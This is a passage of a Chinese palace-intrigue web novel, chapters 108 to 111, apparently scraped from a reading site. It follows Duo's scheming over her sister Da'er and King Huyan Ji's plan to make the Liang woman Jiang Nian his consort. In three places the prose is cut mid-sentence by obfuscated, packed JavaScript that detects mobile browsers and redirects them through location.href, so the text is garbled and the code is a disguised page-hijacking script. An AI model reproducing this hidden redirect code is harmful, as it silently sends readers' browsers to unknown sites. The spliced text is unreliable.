“大王从梁国归来已有五年,你却一直以君王之嫂寡居于东殿,可是大王不愿立你为妃?只管从实说来……” 第108章 俘获君王心 在来之前,朵氏已有所准备,她不能让朵家觉着她没有利用价值,而呼延吉也正是看中了她的价值,才让她留于东殿,若她离了王庭,等待她的便是转嫁,这是她不愿的。 “父亲也知道大王那性子,同她兄长相似,一心扑在家**事之上,又常年征战在外,能在王庭歇上半年,已是难得,况女儿这个身体也有些不争气,难以幸渥恩泽,王怜女儿体弱,这才迟迟不立妃位。” 朵尔罕面上并未有太大的表情,似在听那话,又似把朵氏的话撇在一边,去想其他的事情。 “你如今扯起慌来,倒是不脸红了。” 朵氏一惊,看向上首,急道:“女儿句句实言,父亲再思,主上春秋鼎盛,内廷却妃位虚空,实乃君王之眷顾,怕女儿忧思郁结,这才迟迟不立妃。” 朵尔罕压了压眼皮,并不追究这话的真假,真假对他来说不重要。 朵氏的目光轻轻从她父亲面上扫过,父亲这个人,她从来看不透,只要他心里定下计议,无论多诚恳的话语,很难撼动他,她不知他接下来会说什么。 她把自己的境况想了一遍,又把她父亲可能会提及的问题预想了一遍,然而真当面对这位老大人时,她还是没法泰然自若。 男人叹道:“既然如此,倒真是难为君王对你的一片真情,你需得早些将身子调理好,大王虽正值青春,内廷妃位虚空总是不行。” “是。”朵氏刚刚松下一口气,那气还没松完,就听她父亲接下来的话。 “妲儿同你年岁相当,让她入王庭陪陪你罢。” 朵氏眼珠颤了颤,面色又是一白,勉强扯出一抹笑:“妲儿她怎能进王庭……” “这就要看你的能耐了,你也不要多想,不过是让她在你跟前住些时日,你身子不是一向不大好么,她性子乖巧,让她在你跟前讨讨欢心,你这个当姐姐的对家中姊妹也要看顾着一点。” 朵氏上下牙磕碰着,嘴里的肉已被咬出了血,一股子恶心人的味道。 父亲让朵妲儿进王庭是何用意,呵!终归是不信她的话,又或是她已是一枚弃子,朵家不打算用她了,预备让朵妲儿顶替她的位置。 “父亲是让她到我跟前讨欢心,还是来恶心我?”朵氏冷笑道。 朵尔罕把眼一抬,本就不温情的声音,压得更低:“直到现在你还在记恨,这点子事,你要记恨一辈子?!” “这点子事?”朵氏笑出声,心底的愤再也压不住,“我为何打从娘胎出来就身带毒素,这么个要死不活的身子拜谁所赐?!儿时,别人玩闹我只能坐轮车,每每出街,我的脚都不敢落地,别人看天是天,是蓝色,看花是花,是艳丽,但是父亲,你知道我看到的是什么?我担心下一瞬就会闭眼,再也醒不过来。” 朵氏吁出一口气,颤声道:“那些多彩的颜色在我面前就像蒙着一层影,我知道它们的颜色,但我知道它们一定不是我看到的那样,一定比我看到的更亮更艳,我的眼前永远有一层纱,有时候我恨不得想把这眼珠子挖去。” “还有……再美味的珍馐,我只觉得恶心,别人能体味的美好,到我这里都是丑的!只能让仆人将我抬到市井,看那些贱民吃贱食,看他们吃得开心,我就开心,那就是我尝到的美味,是谁?是谁夺走了我作为一个正常人的感官?父亲,你告诉我?” 男人不语,眼皮微微阖着,看不清眼底的情绪,蜡样的面容亦看不出喜怒。 朵氏讥笑一声,好似在笑自己:“要死不活地就连生气也不行,不能太过高兴,不能太过生气,用那些老医头的话就是,不能有大的情绪起伏,所以女儿学乖了,哪怕处置那些贱奴,也要微笑着,他们死他们的,女儿只需做一个看客,看着他们死就好。” “若不是那个**,母亲的身子也不会枯得这样快。”朵氏两拳握起,“您现在却让**的女儿到我跟前讨我欢心?” 当年那**在食物里**,母亲吃了,致使她一出生就带有胎毒,母亲的身体也因毒素侵蚀每况愈下。 最可恨的是,这**当时也怀了身孕,因此免受罪责,后来**生下一女,便是朵妲儿,父亲便把****一事给淡了,好似从未发生过一样。 直到三年前,**才身染恶疾而死,这更是她心头的意难平。 朵氏平了平心头的气恨,望向上首,等着来自父亲的歉意,哪怕那只是一个愧意的眼神也好,然而终是她奢望了。 朵尔罕抬眼,问了一声:“说完了?” 朵氏一声不再言语,上首之人接下来的一句话直接将她煞在那里。 “你不是还没死么。” 朵氏脸上血色尽褪。 朵尔罕又道:“你生来有吃有喝,顶着朵氏贵女的名头,奴仆环伺,还有什么不知足?” 朵氏一腔子的郁愤往心底化去,不再表露出来。 “女儿没有不知足。” “可还有什么话说?” 朵氏垂下眼,淡淡道:“无话,父亲尽可放心,女儿会想办法将妲儿带入王庭。” 直到此刻,朵尔罕脸上才露出一丝欣然:“去罢。” 朵氏起身行过退礼,出到屋外。 莱拉见朵氏出来,赶紧上前将她搀扶,才一搭上,那手将她的腕子狠狠攫住,尖利的指甲戳破皮肉。 “回王庭。” “大妃不再看一看夫人?” “不了,我有些透不过气。” 莱拉应下,瞥眼间见女人上下唇缝一抹血色,不敢再看,敛气屏声扶着朵氏往府外行去。 经过那园子时,淡淡的笑语仍在,和着风轻轻传来,正待离开时,笑语叫住她。 “阿姐?” 不一时,粉色的身影蹁跹而来,女子星眼流波,细弯弯的眉,面貌同朵氏有五分相似,可给人的感觉却很不一样,她有着朵氏没有的鲜活气。 女子鼻尖沁出细细香汗,弯腰抚着膝,微喘了两下,再直起身,扬起唇角,笑道:“阿姐几时回的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371296|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“才回不久,妲儿在这里做什么,老远就听见你笑。”朵氏说着,拿出帕子替她拭了拭额上的香汗。 眼前这个只比她晚出生几个月的小妹算是家里的开心果,更得父亲的偏爱,直到这个年纪还将她留在身边,兴许被保护得太好,明明同她年岁差不了多少,却不知世务,养成了一个天真散漫的脾性。 也正是这个姿性,最是惹人喜爱,好似只要见过她的人没有不喜欢她的,就连寡厉的父亲在面对妲儿时也会展露笑脸。 她就是朵家的一道光,是朵家的欢乐。 可她越是开心,她就越觉得刺眼,真想把她的那张笑脸给撕烂。 朵妲儿伸出一条膀子,把宽大的衣袖往上一捋,袒露出来:“喏!阿姐你看,都是那些小蹄子画的。” 朵氏看去,只见女子光滑的胳膊上鬼画符似的,不知画得是什么。 朵氏怒道:“哪些奴才这般大胆,敢往妲姑身上乱涂画,有一个算一个,把人带来,统统打了板子,拉出去卖了!” 周围的奴才们全都低下头,不敢啧声。 “阿姐莫要生气,不怪他们,是我强拉着她们闹着玩哩,她们身上也有我画的。” 朵氏摇了摇头,无奈叹道:“说来你年纪也不小了,怎么还这般胡闹,同那些低贱的下人莫要走太近,要知‘近则不逊,远则怨’的道理。” 朵妲儿嘻嘻一笑:“我还能在这府里待多久呢,总是和丫头们顽一日是一日,眼下高兴就好,不去想太多。” “妲儿,你知道的,阿姐身子一向不好,是个没什么大用的人,可否到王庭陪阿姐一段时日?也给阿姐解解闷?” 朵妲儿倒是没想那么多,直口问道:“妲儿也想陪阿姐,可王庭哪是想进就能进的。” 朵氏笑了笑,一指顶着帕,替她拭干净腮上的灰渍:“无须你操心,你在家里待几日,等阿姐派人来接你。” …… 莱拉搀扶朵氏坐进马车,赶紧将温过的药汤拿出来,沏了小半盏,伺候着朵氏喝了。 其实朵氏经罗布调治了这几年,除了偶有气虚,已同常人无异,且无需每日饮汤药,可她仍吩咐宫人每人为她熬煮,也不多喝,就是要尝一尝那入心入脾的苦味,好似喝了,她才心安,不喝的话,心里总会空出一块。 不知这是何时养成的习惯,也不知何时生出的依赖。 莱拉倒上一盏清水,递上前:“大妃真打算让妲姑进王庭?” 才了结一个梁女,又来一个妲姑,妲姑那么可怜可爱之人,只怕大王见了也喜欢。 朵氏接过盏,微抿了两口:“父亲的意思,我这个做女儿的哪能违逆,他说怎样便怎样,既然他想让妲儿进王庭,便让她进来又如何,我还真想看看,朵妲儿以何种手段俘获君王心。” 朵氏不知想到什么,叹了一声:“可惜了。” “大妃缘何叹可惜。” “那个梁女死早了,要是活着该多好,活着才有好戏看……” 第109章 你的脸怎的这样红? 莱拉疑惑,明明主子下令杀梁女,如今怎么又想她活着。 “您不是将那婢子视为眼中钉么?” “比起梁女,我还是更讨厌朵妲儿一些,两人放在一起,那梁女也就不当什么了。”朵氏手肘在窗案上,撑着下颌,轻缓缓道,“罢了,**便**,早死晚死总是要死的。” 莱拉替朵氏捏捶着肩,问道:“大王如今不在王庭,也不知几时回,大妃打算如何让妲姑进王庭。” 朵氏笑了笑,并不言语,莱拉见状便不再问了。 回了王庭,朵氏重新更衣,去了祥云殿,祥云殿乃呼延吉之母,高氏,所居之所,高氏亦乃五上姓之一。 朵氏下了乘辇,进了祥云殿。 “大妃稍候,太后正在休息。”宫婢说道。 朵氏颔首,坐在外殿,宫婢们开始上果品和热茶。 约莫一炷香的工夫,里间开始有宫婢进出,又过了一会儿,幕帘缓缓打起,一妇人在左右的搀扶下走来。 但见那妇人,一头浅栗色掺白的发丝,细长两道蛾眉,一对琥珀色双眸,如淡霞映澄塘,五十来岁的年纪,虽有风霜,眉眼间却可观出年轻时必是美姿容。 朵氏见了妇人,起身,叩拜:“妾伏拜圣太后。” “起身罢。”高太后落座于上首,又道,“怎么不在家中多待几日?你母亲身子可好?” 朵氏起身,回坐,微笑道,“荷蒙太后垂问,妾身母亲身子向来违和,返家探视,还是从前那样,不过精神上来些。” 高太后微微颔首:“你母亲那人……性子就是太软和了,后来她进了朵家,我进了王庭,见得就少了。” “此番归家,家母问候太后圣体安泰,再三嘱托妾身当尽心侍奉于太后跟前。” 高太后叹了一声:“倒是难为你了,为着成儿,一直守在东殿,若他还在,你也不必处于这番境地,可见你敬奉他之心。” 朵氏微垂首:“是妾没有福分。” 高太后默了一会儿,又问:“吉儿待你如何?” 朵氏一怔,清脆的响又在脑中响起,脸有些火辣辣的,声音弱了下去:“大王待妾身很是敬重。” 高太后听后,不说什么,慢慢起身,朵氏也跟着起身。 “随我往园子里走一走。” 朵氏应下,随行在侧。 走了一段路,高太后突然开口:“吉儿房中一直无人,本该是你去侍奉,这孩子一向不受管束,到底不是我跟前长大的,我也难说。” “既是太后说到这里,妾身少不得求一项恩典。” “说来……” “妾身想把小妹接到王庭住些时日,她性子欢脱,日常正好同妾身为伴,就是您闲闷了,也可拿那丫头逗逗趣。”朵氏看了一眼高太后,又道,“您知道的,妾身性子有些过于安静,肖妃那人比妾更为不响,若是小妹来了,有这么个笑模笑样的人在跟前,也是个乐。” 不管朵氏再讨厌朵妲儿,她还是得忍着,只因她们出自一脉,都姓朵,而且……朵氏到底还是惧怕她父亲那人,这种惧意打小生在骨子里…… “是妲儿罢?”高氏问道。 “正是她。” 高氏笑道:“那可是个开心果儿。” 她那小儿子心性疏狂,兴许朵妲儿同他更为投契,倒也不错。 “你把人带进来,我得好好看一下这丫头,有好些年没见了。”高氏说道。 朵氏笑道:“是,您是不知道,她还像从前那样,没一点长进,就怕真进来了,你又嫌弃她。” 高氏拍了拍朵氏的手:“我这个年纪,还怕她嫌弃我。” “就怕她进来后,太后偏宠她一人,把我这个不响的撇去一边。” 高氏一听,心情甚好地笑起来。 …… 呼延吉带江念回了王庭。 江念先是随呼延吉进了正殿的寝屋,看了眼正中的矮几,那上面嵌着炭炉,还有堆在一边的调香器具,好似在静静候着主人归来。 “我去那边了。”江念说着就要转身往外去。 “去哪边?”呼延吉问道。 “才回来,总得让我歇息歇息,头身积了一路的灰,也得好好清洗。”江念撇了撇嘴,说道,“桂花巷里我还能每日沐身,回了这里,只能拿冷水擦洗。” 女人的声音虽小,呼延吉哪能听不见,笑道:“你瞧你那样儿,王庭还不如桂花巷?以后你用温泉池子,你用罢了,我再进去沐洗,这样可好?” “当真?” “一个池子,想用便用。” 江念就是个顺杆子往上爬的主儿,又道:“在桂花巷我不用伺候人,回了这里我还得伺候人……” 呼延吉一噎,跟着说:“我也不用你伺候,好似没你不行似的,王庭里那么多奴才,我偏要你伺候不成?” 江念走到呼延吉跟前,看着他笑问道:“那我算什么?既不是奴才,又不是你的妻室,你说说我算什么?” 呼延吉也笑了,认真回看向她,说道:“给你三个身份,你想要哪一个?” “哪三个?”江念的一颗心提了起来。 男人围着她走了一圈,眼在她身上睃了两眼,说道:“一,继续当奴才。” “二呢?” “二,给你升一级。” 江念眼中亮起,等着回答,呼延吉却道:“二,做本王的奴姬,就是你们梁国的侍妾。” “三呢?”女人的声音从二到三,一点点往下降,一颗心跟着往下坠。 呼延吉似是没有察觉到女人的异样,继续道:“三嘛,比前两个好太多,是十分贵重的身份,一般人想都不敢想。” 江念心里又重燃星火。 呼延吉拿手背揾了揾她的脸:“你的脸怎的这样红,是不是发烧了?” 她拍开他的手,笑道:“别打岔,快说,第三个身份是什么?” 呼延吉走到书柜边,将手里的绿皮书放回,漫口说道:“三不就是,你继续当我阿姐,不然还能是什么?” 男人说罢,身后一片安静,回身一看,就见女人冷着脸。 “你看看你,怎么又生气,当我阿姐还不好?谁能有这个殊荣?” 江念笑一声,心里壅堵难出:“我说什么了,我可什么也没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371297|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你不是让我选么,我选一,我要当奴才。” 呼延吉愣了一愣,眉头蹙起:“当真选一?选二也比选一强些。” 江念不想同他说话,清了自己的衣物去了温泉池子。 随同江念一道回的秋月这才知道,原来那小阿郎是他们夷越的君王,而她就这么糊里糊涂地进了王庭。 不过她同珠珠仍被安排在江念跟前伺候。 “阿姑,好大一个池子哩!”秋月一面替江念除衣,一面叹道。 江念跟着叹了一声,也就这方温泉池子能宽慰她的心了。 秋月伺候江念沐过身,从沐室出来,呼延吉才进去,随后木雅领着几名宫婢手端托盘进了沐室。 过了一会儿,木雅从沐间出来,见江念坐在寝屋和外殿连接的露台处,走了过去。 “你去哪儿了?”说着瞥了一眼江念身后的秋月。 秋月立马端正身板,生怕自己被小瞧了。 江念笑了笑:“有些私事办,同兰掌事招呼过了,在外面滞留了些时候。” “什么滞留了些时候,这可是好几个月呢。” 木雅是聪明人,不会一直追问,江念可享用大王的沐室,这意味着什么,像她们这些贴身伺候之人,都是放下大王的衣物和酒馔就出沐室,从不敢在里面多待。 木雅点了点头,想着江念以后只怕有大造化,不如现在卖她个好,便说道:“对了,告诉你一件事情……” 正说着,达娃从前殿走来叫木雅,木雅只得起身去了,那话便说一半搁置了。 是夜,江念借口身上不好,早早躺下,呼延吉也没说什么,而是让达娃到跟前伺候。 几日的路途颠簸,身体也疲乏,应是很容易睡去,可江念就是无法入睡。 什么三个选择,奴才、奴姬、阿姐,他倒说得出口。 此时已是深更,江念越想越委屈,从枕下掏出帕子,在手里绞来绞去,绞成一根麻花,好似把一腔子不平都撒在了帕子上。 正绞着,隔间外的王榻传来一声咳嗽。 这是呼延吉要茶水,夜里他若口渴,便会嗽一声,江念就会起身端茶到他身边。 今夜别指望了,她绝不会起身伺候他的,于是稳着不动,闭眼装睡,只当没听见。 过了一会儿,就听见呼延吉略显不快的声音:“人呢?” 她仍是闭眼装睡,不去理会,接着就是窸窸窣窣之声,然后脚步声往她这边走来,最后停在她的榻边,身侧的床榻微微凹陷。 “你说你要当奴才,我叫都叫不动你,谁家敢要你这样的奴才?” 江念继续闭着眼。 呼延吉气笑了:“你行了啊,别在这儿装睡,眼睛睁开。” 榻上之人霍地翻过身,把眼一睁,撑起半边身子,就那么瞪视着他。 呼延吉抿了抿唇:“说话。” 江念眼睛会说话似的,眨巴了两下。 呼延吉的目光从女人的脸落到她微敞的衣领,再看向褶皱得不成样子的巾帕:“问你话,你也不说,自己气闷得晚上不睡,翻腾的声音闹着我也不好睡,你到底是怎么了?” 第110章 册封为妃 她就那么半撑着身,微微仰着脖,呼延吉的话让她渐渐垂下头,轻声呢喃:“我不要做奴才。” “那也好办,你不想做奴才,就做我的姬妾,现在咱们就能共榻,如何?”男人腔调轻佻。 “我也不想做你的姬妾。” “那就……” 呼延吉话未说完,就**念打断:“不想,不想,那个什么狗屁一、二、三,我都不稀罕!”说罢一手捂住口,惊欠着眼,她刚才居然说了污话。 呼延吉拿下她的手,静了一静,问道:“那你稀罕什么?” “我说了你肯么?” “你并没有问过我,怎见得我不肯?”呼延吉轻缓道。 江念再次抬头,从床上坐起,就见呼延吉看着她,等着她接下来的话,她顺手扯过手边的巾帕,缠着指,脸上透出一抹胭脂色,把眼看向别处。 “我要做你的妻,你肯是不肯?” 一语毕,半天不见回音,女人的一颗心沉了又沉,脸上的那抹胭脂越来越深,火辣辣的烧灼。 经过一番挣扎,终是抬眼看向他,却见男人眉眼带笑,那笑里透着温度。 江念被他的笑晃了眼,讷讷问道:“我说了,你怎么说?” 呼延吉想了想,说道:“既然你都开口了,我不应下总归不好,难得你求我,依你了。” 江念张了张嘴,把衾被一掀,面对着他跪坐下:“当真么?不许哄我。” “我再喜欢逗弄你,也不兴在这件事上戏弄你,把我当什么人了。” 江念也不知怎的,心里就是高兴,想到什么趿鞋下榻,噔噔噔走开了。 呼延吉不知道她又颠颠地去做什么。 “你干什么去?” 女人欢快的脚步又走了回来,手里还端了一杯茶,笑模笑样地说:“用茶,用茶。” 呼延吉接过,心里受用,揭开盖子,喝了两口,见江念似有话说。 “我今日心情好,还有什么一并说来。” 江念面色变了变,开口道:“确实有一事,我因思虑过多,从前一直未提。” 呼延吉将茶盏放到一边:“你说,我听着。” “大王可否帮我找一找轲儿?” 呼延吉点点头:“就算你不同我说,我也一直记挂着此事,你不知,在寻到你之后,我就给各地下了邸报,寻江轲,却一直没有任何音讯。” “你一直在找他么?” “是,也有派人手寻找。” 江念忍不住湿了眼,原来他一直在默默帮她,先是救了她,又替她探查阿弟的下落。 呼延吉以指揾了揾她腮上的泪,江念就势倚在他的怀里,男人的臂膀立马环了上来。 他可太受用她收起脾气后温软的样子,只要不同他闹,她说一句他能依百句。 “依我看,江轲应当不在夷越,多半仍困在大梁,若他在夷越,早就找上王庭,我又特意嘱咐过,若是他来找,必要上报于我,就算我不在王庭,亲卫也定会将人留下,待我回庭。” 江念从他怀里退出,双手抵在他的胸口,说道:“你能否派些人手,暗中潜往大梁探查?我真的放心不下他,这世人我只他这么一个亲人了。” 呼延吉点头:“好,我派人去……” 次日,天还未亮,江念便起身伺候呼延吉梳洗更衣,梳洗毕,呼延吉去了前殿早朝。 下了早朝,呼延吉又在议政殿同几名大臣私谈,待臣子退去,宫监丹增沏了一壶热饮,双手递到呼延吉跟前,斟酌着将朵氏之妹朵妲儿进王庭的事说了。 “朵妲儿?”呼延吉一口叫出女子的名字,他有些印象,想没有印象都难。 丹增躬身道:“是,说是大妃求到圣太后跟前,让朵家的那位贵女进王庭陪陪自己,平日里说话解闷,圣太后听后,就应下了。” 呼延吉笑了笑,朵氏眼里哪里容得下旁人,何况她身体里的毒素就是拜朵妲儿之母所赐,虽说这事不关朵妲儿的事,依朵氏之行事,难说朵妲儿不被连带怨憎。 这会儿让朵妲儿进王庭,应是背后老家伙的主意。 “住在东殿?”呼延吉问道。 “先来时,是住在东殿,这会儿却不住东殿。” “住哪里?” 丹增看了眼呼延吉,说道:“住祥云殿。” 呼延吉轻轻一抬下巴,眼中带着兴味:“正巧我要去趟祥云殿。” 丹增应下,吩咐宫人备辇。 大王并不常往祥云殿,并非大王不遵循孝悌之礼,相反,大王刚从大梁归夷越那会儿,晨省昏定,每日不少,直到有一日圣太后让大王不必每日问安。 先时大王仍往祥云殿,指着在太后跟前坐一坐,母子俩说一说温情的话儿,谁承想,大王去了祥云殿后,圣太后却以各种理由避而不见,几次之后,大王便不常往祥云殿去了。 呼延吉的乘辇到了祥云殿前,还未进殿,就听见里面清甜的笑声…… 祥云殿的宫婢忙入内报说君王驾临。 今日赶巧,朵氏也在祥云殿,两姐妹都在太后跟前承欢逗趣。 如今王庭中谁人不知,这朵家的另一位贵女是圣太后跟前的红人。 那位贵女进王庭本是陪侍东殿大妃,朵氏,结果高太后见她言语乖觉,性格活泼,很是讨人欢心,便将她留在祥云殿,也不另辟屋室,只在自己的寝殿隔出一榻,供那位贵女歇息,可见多得圣太后喜爱。 朵妲儿伏在高太后身侧,一面给她剥果皮,一面讲着从朵府仆人那里听来的民间笑话,逗得太后脸上的笑就没收过。 闻得君王驾临,朵妲儿忙随殿中众人跪拜相迎,先是感知到一阵风过,风中是男子阔步翻飞的绯红衣袂,接着就听到一个声音。 “儿子来看望母亲。” 那腔音很好听,像是晨间穿雾的阳光,一点点清冷,朦朦胧胧的金色光影,很是让人贪恋。 高太后端坐上首,手微微一抬:“大王孝心已至,不必行礼,坐罢。” 呼延吉直起身,看向殿中,说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371298|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都起身。” 众人谢过王恩,起身。 “大王这是刚下朝?”高太后声音平平。 “回母后的话,儿子昨儿回得晚,便没有过来给您老人家问安,今日一下早朝就过来看看。” “倒也不必,你料理好家国事务,我这里无须你记挂。” 朵妲儿立在一边有些奇怪,大王刚下朝就来祥云殿向太后问安,这是尽孝心,按说作为母亲的太后该欣慰才是,可那言语中怎的很是淡漠,好似不太愿意见到大王。 太后一语毕,整个殿内安静下来,空气都沉了几分。 朵氏坐在一边,敛目不语,别人或许不清楚,她可太清楚了,圣太后不待见自己的这个小儿子,不仅不待见,甚至有些怨憎。 一声轻轻的“噗嗤”打破死寂。 呼延吉这才认真地看向母亲身边的女子,一身轻盈的鹅黄衣衫,灵动的大眼,同朵氏有些相似,更像是朵氏向阳的一面,摈除了不好的,留下的就是好的。 朵妲儿,朵家的另一个女儿。 “太后这话说的,知道的人说您体恤大王,怕大王政务辛劳,不知道的还以为您嫌大王搅扰您听故事呢!难不成太后只爱我这没脸的淘气?” 死闷的气氛被朵妲儿的俏皮话驱散了,高氏拿指点她,笑道:“你也知道自己是个没脸的?” 此话一出众人皆跟着笑了。 此时,宫人已往呼延吉手边摆好茶点,新沏了茶。 朵氏环眼见殿内一片笑声,也跟着应景掩嘴笑起来,再观对面的呼延吉,亦是心情不错的样子,于是心里一沉,虽然圣太后有些远着小儿子,但呼延吉对圣太后却很是孝敬,现下朵妲儿讨了太后的欢心,呼延吉对她自然不一样看待。 不知朵妲儿偎在太后身边说了什么,又引得太后一阵笑,女子说笑间,不时把眼瞟向呼延吉。 朵氏扯着嘴角,跟着笑,只觉着腮上的肉像石头一样硬。 “大王今日来可是有事?”高太后语中带笑,看得出来心情很好,“老婆子我总要问一问,不然又有人埋怨我了。” 呼延吉笑了笑:“儿子今日前来,一为给母亲请安,二来确实有一事。” 高太后“嗯”了一声:“说罢,何事?” 呼延吉拿起茶盏润了润嗓子,他觉得等会儿可能就喝不了了,所以趁这个时候再喝一口,待把茶盏放下,这才开口:“儿子房里还是得有个知冷知热的人,所以想选一女子册封为妃。” 此话可谓一石激起千层浪。 先是高太后,虽说她不怎么待见小儿子,也不大管他的事,但他一直未曾立妃,也没有子嗣,别说一个帝王了,就是普通人家无妻无子,也绝非好事。 心道,如今她身边有一个再合适不过的人选,小儿子这会儿立妃,正是时候。 再是朵氏,疑虑之下生出难以按捺的期待,大王怎么突然转变态度要立妃,可如今有一个朵妲儿在王庭,心中不免忐忑,妃位人选会是谁…… 第111章 你要娶梁女? 呼延吉直言要封妃,朵氏不免多想,她是呼延吉对外的幌子,难道呼延吉因为某种顾虑打算同她假戏真做?假戏真做,她也愿意。 然而当朵氏看向圣太后身侧的朵妲儿时,又开始担忧,怕自己的欢喜落空。 朵妲儿面上反倒没有什么特别的表情,只是嘴角含笑地伴在太后身旁。 “终是开窍了,我还以为你真打算当孤家寡人。”高太后说道。 呼延吉笑了笑。 “既然你有意立妃,让内侍司拟出人选。”太后说道。 “不必,儿子已有人选。” “哦?哪户人家的?” “是儿子身边的一梁女子。”呼延吉说道。 高太后怕自己听错,复问道:“哪里人?” “梁国人。” 上首死寂一片,刚才轻松的气氛散得一干二净。 “都下去。”高太后冷着一张脸,挥手让殿中众人退下。 待众人退下后,高氏再次开口:“你来,到我跟前来。” 呼延吉起身,走向上首,刚立在高太后身边,“啪——”的一声,迎向他的是一计重重的耳刮。 “我就说你有异心,果然,你身体里流着梁人的血,不过是披了一张夷越人的皮,骗过了所有人,却骗不过我去!”高氏气骂道,那话里不带一个脏字,却直剜人心。 呼延吉微微偏过头,一声儿不言语。 “啪——”的一声,妇人又是一耳刮打过去。 “若不是你,若不是因为你……你兄长也不会早逝,他那般消耗自己的身体,就为了换回你这个魔王!我的成儿就是因为你这个孽障死的!” 对呼延成来说,阿弟质于大梁,一直是他的一块心结,多年以来呕心沥血,砺刃秣马,就是为了有朝一日换呼延吉归家。 后来作为妻子的兀良慈不幸离世,呼延成悲恸欲绝,五内摧崩,极悲之下,仍坚持摄理朝中事务,同上姓门阀斡旋,还要筹谋对梁之战事。 铁石之躯,也难支撑,终是倒下了。 这一切在高氏看来,俱是呼延吉之过,若不是他,她的大儿子呼延成不会熬得灯枯油尽。 呼延成是高氏一手看大的,而呼延吉不同,他自小长在梁国,虽是夷越男子的容貌,可行止间更像梁人,这就让高氏的怨憎更加有机可乘。 至亲之人的伤害,来得更为深刻,句句都能直戳痛处。 高氏一把揪住呼延吉的衣襟,眼眶通红:“你现在告诉我,你要娶梁女?你是打算把你父兄的基业拱手让给梁人?是不是以后还准备让流有梁人血脉的小杂种坐上王位?!让梁人再次踩在我越人的脊梁之上?!” 高氏一句逼一句,话从牙缝间一字字蹦出:“我怎会生出你这孽障,早知如此,当初就该一碗药把你打下去。” “母亲莫恼。” 呼延吉一手环护在高氏身侧,怕她气出个好歹。 “我不恼?”高氏冷笑出声,“你说出这番话不就是想把我这老婆子气死么?” “儿子不敢。” 高氏压了压心中怒火,复坐下,问道:“你若想立妃,我这里正好有个人选,朵家的妲儿是个不错的丫头,模样不差,姿性乖巧,你立她为大妃,我不说什么。” 说罢,见身边没有回音,抬眼看去,就见自己这个小儿子立在那里,没有半分退让的意思。 高氏恼过后心里一沉,她虽同这个小儿子不亲,可自己身上掉下来的肉,她还是了解的,虽是韶年却腹隐机谋,是个主意极大之人。 高氏冷笑连连:“你既然已决定,还跑来问我做什么?” “总要回过母亲,她是个很好的人,母亲日后就知晓了。”呼延吉说道。 “我要是不同意呢?” 呼延吉仍是平静道:“那儿子明日再来,一直求得母亲同意为止。” 高氏将手边的茶盏挥落在地:“你……你要气死我不成?” “儿子不敢。” “不妨告诉你,你娶梁女,想让我点头是不可能的,除非我死!” 呼延吉仍是无波无澜地说道:“那儿子明日再来。” 说罢,往外走去。 高氏噎得眼直瞪,一手抚到胸口,她这是造的什么孽,生了这么个魔王。 …… 退到殿外的朵氏和朵妲儿缓缓在殿院行着,两人皆是不语,各藏心事。 “阿姐,大王说要娶梁女子,这个梁女子阿姐可知道?”朵妲儿好奇地问道。 朵氏心头沉沉,听此一问,竟是半天才缓过神,呼延吉适才说要立一个梁女为妃,难道是之前的那个宫婢?不是**么? 她现在只想弄清呼延吉口里的梁女子是不是之前那个梁女,可她心里隐约感知,不会有第二人。 朵氏之前吃过一次亏,不敢再往西殿那边探查任何消息。 正想着,朵妲儿又问:“阿姐,你怎么了,脸色有些不好。” 朵氏看了一眼小妹,不知怎的,本是忧虑的心思起了一层快慰,朵妲儿,你不是一向会装乖卖巧么,这次让你碰碰硬茬。 “没什么,你刚才问我什么?”朵氏问道。 朵妲儿笑道:“大王说要立一梁女子为妃,阿姐可认识这位女子?” “从前王殿中倒是有一位梁国女婢,不知是不是她。” “女婢?!”朵妲儿满脸惊讶。 “王对此女很是偏宠,想不到这会儿居然要立她为妃。”朵氏看了朵妲儿两眼,想从她的脸上看出什么,又意味深长地笑道,“只不过……” “不过什么?” “我也不确定是不是她,这婢子离开王庭数月,据说为了追随大王私出王庭去了定州,说是这样说,谁知道呢。” 朵妲儿想了想,说道:“若真是这样,还是个忠心的,也难怪得大王宠眷,小妹倒是有些好奇,想见一见这梁女是怎么样一个人儿。” 王庭里居然还有梁人,且引得他们这位君王要册立为妃。 朵氏笑了笑:“你想见她也容易,我教你一个法子。”说着附在朵妲儿耳边低语。 “这个主意好。”朵妲儿一拍手。 朵氏看着朵妲儿笑,心里也跟着笑,这下有好戏看了。 二人正说着,就见呼延吉从殿里出来,于是退到一边,垂手侍立,直到人走远了才抬头。 “还看,已经走远了。” 朵妲儿笑嗔一声,倒是爽直:“阿姐还说我,你不也在看么,你若不看又怎知我在看。”说笑着往殿内走去。 